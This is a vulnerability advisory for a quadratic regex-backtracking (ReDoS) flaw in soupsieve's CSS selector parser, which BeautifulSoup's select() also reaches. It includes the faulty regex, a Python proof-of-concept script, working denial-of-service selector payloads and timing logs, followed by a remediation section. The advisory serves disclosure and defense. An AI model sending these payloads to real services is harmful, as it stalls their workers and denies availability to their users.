Details
## Summary
soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.
## Trust model (Q0)
The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.
## Root cause (exact anchors) — `src/soupsieve/css_parser.py`
```python
# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
```
- classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits."
- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.
The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).
## Reproduction environment (discipline #12 — published artifact)
- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`.
- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).
- Python 3.11.15 and 3.14.6 both reproduce.
## PoC (`poc/poc_redos_compile.py`)
```python
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def compile_time(sel):
t0 = time.perf_counter()
try:
sv.compile(sel)
status = "ok"
except Exception as e:
status = type(e).__name__
return (time.perf_counter() - t0), status
print(f"soupsieve {sv.__version__}\n")
print("Payload A: '[a=' + 'a'*n (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
dt, st = compile_time("[a=" + "a" * n)
print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")
print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
dt, st = compile_time("a" * n + "!")
print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")
payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
```
End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).
## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)
```
soupsieve 2.9
Payload A: '[a=' + 'a'*n (unterminated attribute value)
n=1000 len=1003 214.8 ms [SelectorSyntaxError]
n=2000 len=2003 504.7 ms [SelectorSyntaxError]
n=4000 len=4003 2031.9 ms [SelectorSyntaxError]
n=8000 len=8003 8091.3 ms [SelectorSyntaxError]
Payload B: 'a'*n + '!' (identifier run + invalid trailing char)
n=2000 len=2001 79.7 ms [SelectorSyntaxError]
n=4000 len=4001 322.9 ms [SelectorSyntaxError]
n=8000 len=8001 1328.9 ms [SelectorSyntaxError]
n=16000 len=16001 5379.4 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) (len=12003)
[+] wall time = 18.28 s [SelectorSyntaxError]
```
## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)
```
soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
n=1000 len=1003 113.9 ms [SelectorSyntaxError]
n=2000 len=2003 457.2 ms [SelectorSyntaxError]
n=4000 len=4003 1816.8 ms [SelectorSyntaxError]
n=8000 len=8003 7299.0 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]
```
## Impact — calibrated
- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.
## Remediation
- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.
- Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run.
- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.
EPSS — exploit probability
Low0.44%
estimated chance of real-world exploitation in the next 30 days — higher than 37.7% of every CVE FIRST.org scores
Refreshed 9/19/2026 — via FIRST.org's EPSS model, not CVSS — this measures likelihood of exploitation, not how severe it would be.
